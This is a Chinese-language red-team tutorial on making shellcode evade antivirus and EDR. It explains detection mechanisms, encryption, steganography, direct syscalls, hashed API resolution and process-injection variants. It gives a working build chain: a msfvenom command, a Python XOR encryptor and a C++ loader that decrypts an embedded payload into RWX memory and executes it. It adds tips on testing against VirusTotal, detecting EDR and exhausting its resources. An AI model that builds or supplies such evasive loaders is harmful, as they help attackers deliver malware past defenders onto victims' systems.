1. 项目概述:为什么Shellcode免杀是攻防对抗的焦点
在安全攻防的世界里,Shellcode免杀技术就像一场永不停歇的“猫鼠游戏”。我接触过很多红队评估和渗透测试项目,一个绕不开的坎就是如何让我们的“工具”在目标系统上悄无声息地落地并执行。这里的“工具”,很多时候指的就是一段精心构造的Shellcode。它可能负责弹回一个命令行,加载一个功能更全的后渗透模块,或者执行一个特定的内存操作。但无论目的如何,只要它被终端安全软件(EDR/AV)的静态或动态引擎识别出来,行动就宣告失败,甚至可能暴露攻击者的基础设施。因此,深入理解Shellcode免杀,不仅仅是掌握几种加密或编码技巧,更是对现代安全防护体系工作原理的一次逆向拆解。这篇文章,我将结合自己踩过的坑和实战经验,从原理到实践,为你拆解Shellcode免杀的核心逻辑、主流技术以及对抗策略,目标是让你不仅能做出一个“免杀”的样本,更能理解它为什么能“免杀”,以及防守方会如何应对。
简单来说,Shellcode免杀技术就是通过一系列变换和伪装手段,改变Shellcode在磁盘(静态)和内存(动态)中的特征,使其逃避安全产品的检测。这背后涉及编译器行为、操作系统加载机制、反病毒引擎的签名库、启发式规则、行为沙箱等多个层面的知识。对于安全研究人员、渗透测试工程师和恶意软件分析师而言,这都是必须啃下的硬骨头。接下来,我会从设计思路、核心技术、实操编码到对抗演进,一步步带你深入这个领域。
2. 核心原理拆解:安全软件如何检测Shellcode
在思考如何“免杀”之前,我们必须先成为“猎人”,理解“猎人”(安全软件)的捕猎方式。现代终端防护是一个多层防御体系,对Shellcode的检测主要发生在两个阶段:静态分析和动态分析。
2.1 静态特征检测:第一道关卡
静态分析发生在文件落地但尚未执行时。安全软件会像法医一样,仔细检查这个“可疑物品”的每一个细节。
文件结构与熵值分析:一个正常的Windows可执行文件(PE文件)有非常规整的结构:DOS头、PE头、节表、代码节、数据节等。而一段纯粹的、未经处理的Shellcode通常只是一个二进制的“数据块”,不具备合法的PE结构。直接将其作为可执行文件,会被轻易识别。此外,加密或高度压缩的数据会导致文件某个区域的熵值(随机性度量)异常高,这本身就是一个强烈的可疑信号。很多安全软件会计算文件各节的熵值,过高熵值的节(如.text代码节)会触发警报。
字节序列签名(Signature):这是最传统也是最基础的检测方式。安全厂商维护着一个庞大的特征库,里面记录了已知恶意代码的特定字节序列(即“签名”)。如果你的Shellcode来自公开的渗透测试框架(如Metasploit的windows/x64/meterpreter/reverse_tcp),其开头的几个字节(例如fc4883e4f0e8c0...)很可能早已被收录。静态扫描时,引擎只需进行简单的字节匹配就能发现你。
字符串与API导入表:引擎会提取文件中的所有可读字符串和API函数名。如果发现了明显的恶意痕迹,如CreateRemoteThread、VirtualAllocEx、WriteProcessMemory这类常用于进程注入的API名称,或者硬编码的C2服务器地址、特殊的路径字符串,都会大大增加可疑度。
注意:静态检测追求的是速度和低误报率。因此,它的规则往往是精确匹配或简单的模式匹配。我们的免杀思路,首要目标就是破坏这些静态特征。
2.2 动态行为检测:执行时的“现场直播”
如果文件侥幸通过了静态检查,被用户运行,那么动态行为分析的“大戏”就开场了。此时,安全软件会化身“监工”,在系统内核层或通过沙箱,监控程序的一举一动。
API调用序列监控:这是行为检测的核心。安全软件并不关心你调用了哪个具体的API,而是关心你调用了哪些API,以及它们组合起来的“故事”是否可疑。一个经典的Shellcode加载流程可能是:VirtualAlloc(申请可执行内存) ->WriteProcessMemory或RtlMoveMemory(写入Shellcode) ->CreateThread或QueueUserAPC(执行内存)。这一套组合拳,被称为“内存分配、写入、执行”链,是绝大多数EDR/AV都会重点监控的高危行为序列。
内存属性修改监控:正常程序的内存页属性是相对固定的,例如代码段是PAGE_EXECUTE_READ,数据段是PAGE_READWRITE。而Shellcode加载器常常需要先将内存属性改为PAGE_READWRITE以便写入数据,然后再改为PAGE_EXECUTE_READ或PAGE_EXECUTE_READWRITE来执行。这种对内存页属性的“写后执行”修改操作,是另一个极其敏感的行为指标。
子进程创建与进程注入:如果Shellcode的目的是注入到其他进程(如explorer.exe,svchost.exe)以实现持久化或规避,那么CreateRemoteThread、NtMapViewOfSection等进程注入技术相关的API调用,以及异常的进程父子关系,都会被严密监控。
沙箱环境探测:高级的恶意软件会尝试探测自己是否运行在沙箱或分析环境中。例如,检查系统运行时间(沙箱往往刚启动)、检查物理内存大小(沙箱可能分配较小)、检查是否存在分析工具进程(如procmon.exe,wireshark.exe)、检查鼠标移动或用户交互痕迹(沙箱可能无交互)。如果探测到沙箱环境,恶意代码会选择不执行恶意行为,从而逃避动态分析。
理解了这些检测原理,我们的免杀策略就有了明确的靶心:在静态层面,混淆特征,使其不像“已知的坏东西”;在动态层面,要么让行为看起来“正常”,要么延迟或规避敏感行为的触发。
3. 静态免杀技术:让Shellcode“面目全非”
静态免杀是基础,目标是让原始的Shellcode在磁盘上看起来“人畜无害”。这里有几个经过实战检验的核心方法。
3.1 编码与加密:改变字节面貌
这是最直接的方法,目的是破坏基于字节序列的签名匹配。
异或(XOR)编码:这是最简单、最常用的方法。选择一个密钥(Key),将Shellcode的每一个字节与这个密钥进行异或运算。解密时,再用同样的密钥异或一次即可还原。它的优点是速度快、实现简单。但弱点也很明显:如果密钥是单字节,加密后的数据可能仍存在统计特征;此外,xor指令本身也可能成为特征。
// 简单的异或加密示例(C语言风格) unsigned char shellcode[] = {0xfc, 0x48, 0x83, ...}; unsigned char key = 0xAA; for(int i = 0; i < sizeof(shellcode); i++) { shellcode[i] = shellcode[i] ^ key; // 加密 // 解密时,再次执行 shellcode[i] = shellcode[i] ^ key; }AES/RC4等加密算法:使用标准加密算法能产生熵值很高、近乎随机的密文,能有效规避签名检测。但引入加密算法意味着你需要在加载器中包含解密函数,这可能会增加加载器本身的特征。通常我们会使用系统自带的加密API(如Windows的Cryptography API: Next Generation (CNG))或引入小型、混淆过的解密代码。
自定义编码算法:为了进一步规避对标准加密算法特征的检测,可以设计简单的自定义编码,如字节顺序反转、加减固定值、基于位置的变换等。核心思想是增加分析的复杂度。
实操心得:不要使用固定的、简单的异或密钥。可以采用多字节循环密钥,或者从文件某个偏移量或环境变量中动态计算密钥。我曾在一个项目中,将密钥隐藏在PNG图片文件的CRC校验值里,加载器运行时读取图片并计算CRC值作为密钥,效果很好。
3.2 分离与隐写:藏匿于无形
与其改变Shellcode的样子,不如把它藏起来,让扫描引擎根本找不到它。
资源文件分离:将加密后的Shellcode作为资源(Resource)捆绑在正常的PE文件(如图片查看器、计算器)中。在运行时,通过FindResource、LoadResource、LockResource等API从自身资源节中读取并解密。这样,静态扫描时,Shellcode不在主要的.text或.data节中,而是藏在.rsrc节里,规避了针对数据节的熵值检查。
网络下载(Staging):加载器本身不包含任何Shellcode。它只是一个“下载器”,运行时从远程服务器(C2)下载加密的Shellcode到内存中,然后解密执行。这彻底避免了本地文件的静态特征。但缺点是增加了网络交互,可能被网络流量检测设备发现。
隐写术(Steganography):将Shellcode隐藏在一张普通的图片、一个文档甚至一段音频文件的二进制数据中。例如,将加密后的Shellcode写入PNG图片的IDAT数据块末尾(不影响图片正常显示)。加载器需要解析文件格式,精准定位并提取隐藏的数据。这种方法对静态扫描的绕过效果极佳,因为文件看起来完全正常。
3.3 格式伪装与壳保护
PE文件格式伪装:将Shellcode加载器本身伪装成一个合法的、签名的应用程序。或者,构建一个具备完全合法PE头、节表,但节区内容被加密或替换的“空壳”PE文件。静态分析时,文件结构完美,熵值正常,能绕过初步检查。
加壳(Packing):使用商业或自定义的加壳工具(如UPX,但UPX已被广泛识别)对加载器进行压缩和加密。加壳后的程序,原始代码被压缩加密,入口点(OEP)被替换为壳的引导代码。壳负责在内存中解密并跳转到原始程序。这增加了逆向分析和静态特征提取的难度。但需要注意,很多加壳工具本身就有很强的特征,会被标记。因此,使用小众壳或自定义壳是关键。
代码混淆(Obfuscation):对加载器自身的代码进行混淆,如插入垃圾指令(NOP或无效运算)、控制流扁平化、字符串加密等。这虽然主要增加的是分析难度,但混淆后编译器生成的机器码也会发生变化,有时也能意外地绕过一些基于简单模式的静态签名。
4. 动态免杀技术:让行为“看起来很正常”
通过了静态检查,只是拿到了入场券。真正的挑战是在运行时如何“低调行事”。动态免杀的核心是API调用链的伪装与拆分。
4.1 直接系统调用(Syscall)
这是目前对抗EDR/AV用户态Hook最主流、最有效的方法。EDR通常通过Hookkernel32.dll或ntdll.dll中的关键API(如NtAllocateVirtualMemory,NtCreateThreadEx)来监控行为。直接系统调用绕过这些用户态的Hook,直接通过syscall指令与内核交互。
原理:每个系统调用都有一个唯一的系统调用号(Syscall Number)。在Windows中,ntdll.dll中的函数(如NtAllocateVirtualMemory)本质就是封装了syscall指令的存根(Stub)。我们可以直接复制这些存根中的汇编代码(主要是系统调用号和syscall指令),或者动态地从ntdll.dll中读取这些信息,在自己的代码里发起调用。
; x64 系统下 NtAllocateVirtualMemory 系统调用的简化示例(概念性) mov r10, rcx ; 第一个参数移到 r10 (Windows x64调用约定) mov eax, 18h ; 系统调用号 (NtAllocateVirtualMemory),这个值随Windows版本变化! syscall ret实现关键:
- 系统调用号获取:系统调用号随Windows版本(甚至每次更新)而变化。不能硬编码。常见方法是从本机
ntdll.dll的内存中动态解析,或者使用经过哈希处理的函数名在PEB中遍历查找。 - 参数准备:必须严格遵守x64或x86的系统调用约定,正确设置寄存器。
- 返回处理:系统调用返回后,状态在RAX/EAX寄存器中,需要正确处理。
注意事项:直接使用
syscall虽然强大,但代码与系统版本强相关,兼容性需要仔细处理。此外,一些高级EDR已经开始在内核层监控syscall指令的调用来源,如果发现来自非ntdll.dll的内存区域,也会产生告警。因此,更进阶的做法是结合“返回地址欺骗”(Return Address Spoofing)等技术,让调用栈看起来像是从ntdll.dll发起的。
4.2 API动态解析与调用
为了避免在导入表(IAT)中留下敏感的API函数名,我们可以在运行时动态获取API地址。
经典方法:GetProcAddress和LoadLibrary:这是基础方法。但GetProcAddress和LoadLibrary本身也可能被监控。我们可以通过解析PEB(进程环境块)和PE文件结构,手动遍历kernel32.dll的导出表来查找GetProcAddress的地址,从而实现“无导入表”的API解析。
哈希处理:在代码中存储API函数名的哈希值(如ROR13哈希),而不是明文字符串。在动态解析时,计算DLL导出函数名的哈希并与我们存储的哈希进行比较。这可以有效避免字符串扫描。
// 计算函数名哈希的示例 DWORD HashStringROR13(const char* str) { DWORD hash = 0; while (*str) { hash = (hash >> 13) | (hash << (32 - 13)); // 循环右移13位 hash += *str; str++; } return hash; } // 存储的哈希值,例如 `HashStringROR13("VirtualAlloc")`4.3 进程注入技术的“低调”变种
如果Shellcode需要注入到其他进程,传统的CreateRemoteThread已经如同在监控摄像头下大声喊叫。我们需要更隐蔽的方法。
进程镂空(Process Hollowing):创建一个合法的、处于挂起状态的进程(如svchost.exe),将其主线程挂起,然后“挖空”其内存中的原始镜像,替换为我们的恶意代码,最后恢复线程执行。从外部看,进程名是合法的,但执行的是我们的代码。防守方会检查进程内存与磁盘文件的差异。
APC注入(Asynchronous Procedure Call):将Shellcode注入到目标线程的APC队列中。当线程进入可报警状态时,Shellcode会被执行。特别是“早期鸟APC注入”,在线程启动前就插入APC,可以绕过一些基于线程创建的检测。但APC注入需要目标线程进入告警状态,不确定性较高。
线程劫持(Thread Hijacking):挂起目标进程中的一个现有线程,修改其上下文(主要是指令指针RIP/EIP和栈),使其指向我们的Shellcode,然后恢复线程。这种方法不创建新线程,行为更隐蔽。难点在于需要稳定地保存和恢复线程原始上下文,以及处理线程栈。
映射视图注入(Section Mapping):利用Windows的节区对象(Section Object)。首先创建一个包含Shellcode的节区对象,然后将这个节区映射到目标进程的地址空间。最后通过APC或线程劫持等方式,让目标进程的线程去执行该映射区域。这种方法文件操作痕迹少,相对隐蔽。
4.4 内存操作规避技巧
内存属性“先执行后写”:传统的“申请可写内存->写入->改为可执行”链条太经典。可以尝试利用一些合法的、本身就具有可执行权限的内存区域。例如:
- ** .NET JIT内存**:.NET运行时生成的JIT编译代码所在的内存页默认是可执行的。可以尝试与.NET程序交互或利用其机制。
- 内存洞(Memory Holes):在进程地址空间中寻找已经存在且具有可执行权限的闲置内存区域(例如,某些DLL加载后留下的间隙)。但这不稳定且难以移植。
- 滥用合法可执行模块:修改一个已加载DLL中的废弃代码区域(如对齐填充区)来存放Shellcode。这需要精确的逆向分析。
堆栈内存执行:虽然数据执行保护(DEP)默认禁止栈内存执行,但可以通过VirtualProtect临时开启栈的PAGE_EXECUTE_READWRITE权限,或者利用某些特定情况(如旧版软件、特定编译选项)下DEP未生效的环境。这不是一个通用的好方法。
图像文件执行选项(IFEO)调试器注入:这是一个非常古老的技巧,通过修改注册表,将一个调试器设置为目标程序的“预调试器”。当目标程序启动时,调试器会先启动,并将代码注入到目标进程中。这种方法在行为上看起来像一个合法的调试会话,但注册表修改动作本身会被监控。
5. 完整实战:构建一个多层免杀的Shellcode加载器
理论说了这么多,我们动手实现一个集成了部分上述技术的简易加载器。这个加载器将使用异或加密、资源文件分离、直接系统调用和动态API解析。
5.1 第一步:生成并加密Shellcode
我们使用MSFVenom生成一个原始的Shellcode,并立即用Python脚本进行加密。
# 生成原始Shellcode (例如,一个简单的MessageBox) msfvenom -p windows/x64/messagebox TEXT="Hello from Shellcode" -f raw -o raw_shellcode.bin # 注意:实战中应使用反向shell等,此处用MessageBox便于观察效果。编写一个Python加密脚本encrypt_sc.py:
import sys def xor_encrypt(data, key): # 使用多字节循环密钥 key_bytes = key.encode('utf-8') encrypted = bytearray() for i in range(len(data)): encrypted.append(data[i] ^ key_bytes[i % len(key_bytes)]) return bytes(encrypted) if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <input_file> <output_file>") sys.exit(1) with open(sys.argv[1], 'rb') as f: raw_sc = f.read() # 使用一个复杂的密钥,可以是从某个文件计算出的哈希值 encryption_key = "MyComplexStaticKey123!@#" encrypted_sc = xor_encrypt(raw_sc, encryption_key) with open(sys.argv[2], 'wb') as f: f.write(encrypted_sc) print(f"[+] Shellcode encrypted. Original size: {len(raw_sc)}, Encrypted size: {len(encrypted_sc)}") # 计算并打印加密后数据的熵值(可选,需要安装math库) # 高熵值提示我们需要在加载器中妥善隐藏它。运行python encrypt_sc.py raw_shellcode.bin encrypted_sc.bin。
5.2 第二步:将加密Shellcode嵌入资源文件
我们使用Visual Studio创建一个简单的C++控制台项目,或者直接使用MinGW和资源编译器。
创建资源文件
shellcode.rc:// shellcode.rc IDR_ENCRYPTED_SC RCDATA "encrypted_sc.bin"编译资源文件(使用
rc.exe或windres):rc.exe shellcode.rc # 或使用 MinGW windres shellcode.rc -o shellcode.res这会生成
shellcode.res文件。
5.3 第三步:编写加载器代码(关键部分)
以下是加载器loader.cpp的核心代码框架,集成了动态解析和直接系统调用思路。
#include <windows.h> #include <stdio.h> // 1. 动态获取函数地址的辅助函数(使用哈希) typedef HMODULE (WINAPI *pLoadLibraryA)(LPCSTR); typedef FARPROC (WINAPI *pGetProcAddress)(HMODULE, LPCSTR); // 一个简单的ROR13哈希函数 DWORD HashStringROR13(const char* str) { DWORD hash = 0; while (*str) { hash = (hash >> 13) | (hash << (32 - 13)); hash += *str; str++; } return hash; } // 通过PEB遍历获取Kernel32基址,然后解析GetProcAddress地址 // 此处省略详细的PEB遍历代码,这是一个独立且复杂的技术点。 // 假设我们通过某种方式已经获得了 GetProcAddress 的地址,存储在 `fnGetProcAddress` 中。 pGetProcAddress fnGetProcAddress = ...; // 通过PEB解析得到 // 2. 解密函数 (与Python脚本对应的XOR解密) void XorDecrypt(BYTE* data, SIZE_T size, const char* key) { SIZE_T keyLen = strlen(key); for (SIZE_T i = 0; i < size; i++) { data[i] ^= key[i % keyLen]; } } // 3. 直接系统调用相关结构定义(以NtAllocateVirtualMemory为例) // 系统调用号需要动态获取,这里以Win10 2004的某个版本为例,仅作演示,不可硬编码。 #define SYS_NtAllocateVirtualMemory 0x18 typedef struct _SYSCALL_ENTRY { DWORD hash; DWORD syscallNumber; } SYSCALL_ENTRY; // 一个简陋的系统调用执行函数(内联汇编,x64) // 实际项目中应从ntdll.dll内存中动态解析系统调用号并组装调用门。 // 此处仅为概念演示。 __declspec(naked) NTSTATUS SysNtAllocateVirtualMemory( HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect) { __asm { mov r10, rcx mov eax, SYS_NtAllocateVirtualMemory // 动态获取的调用号应替换这里 syscall ret } } // 4. 主函数 int main() { // 动态获取必要的API(假设我们已经有了fnGetProcAddress) HMODULE hKernel32 = LoadLibraryA("kernel32.dll"); // 简单起见,这里直接用LoadLibraryA // 更隐蔽的做法是使用GetModuleHandle或PEB遍历获取kernel32基址 if (!hKernel32) return -1; // 使用动态解析的GetProcAddress(或我们自己的实现)来获取其他函数 auto fnFindResource = (decltype(FindResourceA)*)fnGetProcAddress(hKernel32, "FindResourceA"); auto fnLoadResource = (decltype(LoadResource)*)fnGetProcAddress(hKernel32, "LoadResource"); auto fnLockResource = (decltype(LockResource)*)fnGetProcAddress(hKernel32, "LockResource"); auto fnSizeofResource = (decltype(SizeofResource)*)fnGetProcAddress(hKernel32, "SizeofResource"); // ... 获取其他需要的API // 从资源中加载加密的Shellcode HRSRC hRes = fnFindResource(NULL, MAKEINTRESOURCE(IDR_ENCRYPTED_SC), RT_RCDATA); if (!hRes) return -1; HGLOBAL hResData = fnLoadResource(NULL, hRes); if (!hResData) return -1; BYTE* pEncryptedData = (BYTE*)fnLockResource(hResData); DWORD dwSize = fnSizeofResource(NULL, hRes); if (!pEncryptedData || dwSize == 0) return -1; // 在内存中解密Shellcode // 注意:为了演示,我们直接在原资源内存解密,实际应复制到新缓冲区。 // 因为资源内存默认是只读的,需要先改为可写。 DWORD oldProtect; VirtualProtect(pEncryptedData, dwSize, PAGE_READWRITE, &oldProtect); XorDecrypt(pEncryptedData, dwSize, "MyComplexStaticKey123!@#"); VirtualProtect(pEncryptedData, dwSize, oldProtect, &oldProtect); // 申请可执行内存 (尝试使用更低调的方式) // 方式A:传统API(容易被Hook) // void* execMem = VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 方式B:使用直接系统调用(假设我们已经实现了) void* execMem = NULL; SIZE_T regionSize = dwSize; NTSTATUS status = SysNtAllocateVirtualMemory( GetCurrentProcess(), &execMem, 0, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (status != 0) { // NTSTATUS成功值为0 // 系统调用失败,回退到传统API(实战中应有更优雅的降级策略) execMem = VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); } if (!execMem) return -1; // 复制解密后的Shellcode到可执行内存 // 这里可以使用RtlMoveMemory或其等价物 memcpy(execMem, pEncryptedData, dwSize); // 创建线程执行Shellcode // 同样,这里可以使用CreateThread,也可以尝试更隐蔽的线程创建方式,如CreateRemoteThread注入自身(无意义)或APC。 HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL); if (hThread) { WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); } // 清理(可选) VirtualFree(execMem, 0, MEM_RELEASE); return 0; }5.4 第四步:编译与测试
编译:将
loader.cpp、shellcode.res以及必要的资源头文件一起编译。cl.exe /nologo /O2 /MT loader.cpp shellcode.res /link /OUT:loader.exe确保使用静态链接(
/MT)以减少运行时依赖,并且进行发布优化(/O2)。测试:
- 首先在无安全软件的虚拟机中运行,确保Shellcode能正常弹出MessageBox。
- 然后上传到 VirusTotal 或使用本地安装的多个杀毒软件进行扫描。记录检测率。
- 分析被哪些引擎检测到,尝试调整加密算法、密钥、资源类型、或加入更多的代码混淆来降低检测率。
实操心得:这是一个“玩具级”的示例。真正的实战加载器需要考虑更多细节:可靠的PEB遍历获取API、健壮的系统调用号动态解析、完善的错误处理、对资源内存的复制而非原地解密、以及最终的内存权限清理(将内存从
PAGE_EXECUTE_READWRITE改回PAGE_READONLY以规避某些内存扫描)。此外,将加载器本身进行加壳或混淆是必要的下一步。
6. 对抗策略演进:防守方的视角与应对
免杀技术不是一劳永逸的。防守方(EDR/AV厂商)也在不断进化。理解他们的策略,才能预判和调整我们的技术。
6.1 防守方的检测升级
静态检测的智能化:
- 模糊哈希(Fuzzy Hashing):如ssdeep。即使文件被轻微修改(如插入一些NOP),也能计算出相似的哈希值,用于关联同源恶意软件。
- 机器学习/深度学习模型:训练模型识别恶意文件的特征(如字节分布、API序列模式、控制流图结构),对变种和未知威胁有更好的检出率。对抗方法包括生成对抗样本(轻微扰动欺骗模型)或使用完全不同的代码结构。
- 结构语义分析:不仅看字节,还分析程序的逻辑结构。例如,识别出“解密循环+内存分配+执行”这一模式,即使具体指令变了,模式本身就可疑。
动态检测的深度化:
- 内核回调(Kernel Callbacks):EDR驱动注册内核回调,监控进程、线程、镜像加载、注册表等核心事件,比用户态Hook更底层、更难绕过。
- ETW(Event Tracing for Windows):微软提供的强大事件追踪框架。EDR可以订阅大量的系统事件(如进程创建、文件操作、网络连接),进行实时分析。绕过ETW需要更底层的操作,如尝试禁用ETW提供程序或篡改ETW事件数据。
- 内存扫描与YARA规则:EDR会定期或触发式地扫描进程内存,使用YARA规则匹配内存中的Shellcode特征(即使已解密)。应对方法是:仅在执行前一刻解密,或者使用“反射式DLL注入”等技术,让代码始终以“数据”形态存在,直到执行瞬间才被解析。
- 行为时序分析与因果关系链:不仅看单个API,还分析一系列事件在时间上的关联性,构建攻击链故事。例如,一个进程刚网络下载了数据,紧接着就发生了内存属性修改和线程创建,这个因果关系链的得分会很高。
6.2 红队的应对思路
面对不断升级的防御,红队和渗透测试者的思路也需要从“单点技术绕过”转向“体系化对抗”。
技术层面:
- 持续迭代:没有永远免杀的技术。需要持续关注EDR的更新日志、研究论文,并不断更新自己的工具链。
- 混合使用多种技术:不要依赖单一技术。结合静态加密、动态解析、直接系统调用、进程注入伪装等多种手段,增加分析复杂度。
- 利用合法工具与“活”在土地上:越来越多地使用操作系统自带的管理工具(如
PsExec、WMI、PowerShell、Cobalt Strike的execute-assembly)或签名的第三方软件(如TeamViewer、AnyDesk)来执行操作。这种“Living-off-the-Land”的策略,使得恶意行为隐藏在大量合法的管理流量中,难以区分。 - 研究底层与未文档化接口:深入研究Windows内核、硬件虚拟化(如HVCI)、安全子系统(如Credential Guard)的细节,寻找官方文档未提及的接口或逻辑漏洞。但这需要极高的技术门槛和风险。
战术层面:
- 侦查与规避:在行动前充分侦查目标环境的安全产品,针对性地选择或定制载荷。避免使用在目标行业已知被重点监控的技术。
- 分散与混淆:将功能拆解,使用多个阶段、多个组件,通过不同的渠道投递和执行,降低单个组件的威胁分数。
- 模拟正常行为:让恶意代码的行为节奏模仿正常软件。例如,在解密和执行前加入随机延迟,模拟用户思考或网络延迟;申请内存的大小和模式符合正常软件行为。
7. 常见问题与排查技巧实录
在实际操作中,你会遇到各种各样的问题。这里记录一些我踩过的坑和解决方法。
问题1:Shellcode执行后进程崩溃,无任何现象。
- 可能原因1:Shellcode加密/解密错误。这是最常见的问题。务必确保加密和解密算法、密钥完全一致。在解密后、执行前,将内存中的内容写入文件,与原始Shellcode文件进行二进制比较。
- 可能原因2:内存权限问题。确保申请的内存具有
PAGE_EXECUTE_READ或PAGE_EXECUTE_READWRITE权限。在调用Shellcode前,可以使用VirtualQuery检查内存区域属性。 - 可能原因3:Shellcode本身不兼容。不同工具生成的Shellcode可能有不同的环境假设(如栈对齐要求、API调用约定)。特别是32位和64位Shellcode不能混用。确保Shellcode的架构(x86/x64)与加载器编译的架构一致。
- 排查技巧:在调试器中(如x64dbg)单步跟入Shellcode。观察在
CreateThread或直接跳转后,第一条指令是否被正确执行。检查栈指针(RSP)是否合理。
问题2:直接系统调用(Syscall)在不同Windows版本上失效。
- 原因:系统调用号随版本变化。硬编码必然导致兼容性问题。
- 解决方案:必须实现系统调用号的动态解析。常见方法是:
- 从磁盘或内存中读取本机的
ntdll.dll。 - 解析其PE结构,找到目标函数(如
NtAllocateVirtualMemory)的代码段。 - 在该函数代码的开头附近,定位
mov eax, SSN指令(x64下可能是mov r10, rcx; mov eax, SSN),从中提取出系统调用号(SSN)。 - 将提取的SSN用于你自己的
syscall存根。
- 从磁盘或内存中读取本机的
- 工具推荐:可以使用像
SysWhispers2或HellsGate/HalosGate这样的开源项目,它们已经实现了健壮的动态SSN解析。
问题3:加载器本身被检测,即使Shellcode是加密的。
- 原因:加载器的行为模式(如连续的
VirtualAlloc、WriteProcessMemory、CreateThread调用)或静态特征(如字符串、导入函数)被识别。 - 解决方案:
- 混淆加载器:使用OLLVM、Tigress等源码混淆器,或VMProtect、Themida等商业加壳工具对加载器二进制进行保护。注意选择特征不明显的壳。
- 拆分行为:将内存申请、写入、执行的操作在时间上或逻辑上拆分开。例如,先申请内存,过一段时间(或等待某个事件)后再写入Shellcode,再等待更长时间后才创建线程。
- 使用更隐蔽的注入技术:放弃
CreateThread,改用APC、线程劫持或进程镂空。 - 无文件落地:考虑完全不使用独立的加载器EXE,而是将加载逻辑写成一段Shellcode,通过PowerShell、VBS、Word宏等方式直接加载到内存中执行,实现“无文件”攻击。
问题4:在装有高级EDR的机器上,Shellcode执行被阻断,但进程未崩溃。
- 原因:EDR的行为检测模块拦截了敏感操作(如远程线程创建、内存属性修改),并采取了“终止操作但允许进程继续运行”的温和策略。
- 排查与对抗:
- 检查返回值:仔细检查每个敏感API的返回值,EDR可能返回一个错误码(如
ACCESS_DENIED)而非直接使进程崩溃。 - 尝试降级技术:如果直接系统调用被内核层监控,尝试回退到使用被Hook的用户态API,但通过更复杂的调用链或伪装参数来绕过。
- 探测EDR存在:在执行敏感操作前,先尝试探测EDR的存在(如检查特定驱动、进程、注册表项)。如果探测到,则进入“静默模式”或执行无害的备用逻辑。
- 资源限制:EDR的深度监控消耗资源。可以尝试通过快速、大量地发起合法系统调用(如反复打开/关闭文件)来对EDR代理进行“资源耗尽”攻击,以期在其繁忙时执行恶意操作(此方法成功率低且不道德,仅作研究讨论)。
- 检查返回值:仔细检查每个敏感API的返回值,EDR可能返回一个错误码(如
这个领域没有银弹,真正的免杀是技术、耐心和对攻防双方深刻理解的结合。每一次成功的绕过,都建立在对系统更深一层的认知之上。保持学习,谨慎测试,永远不要在未经授权的系统上进行实践。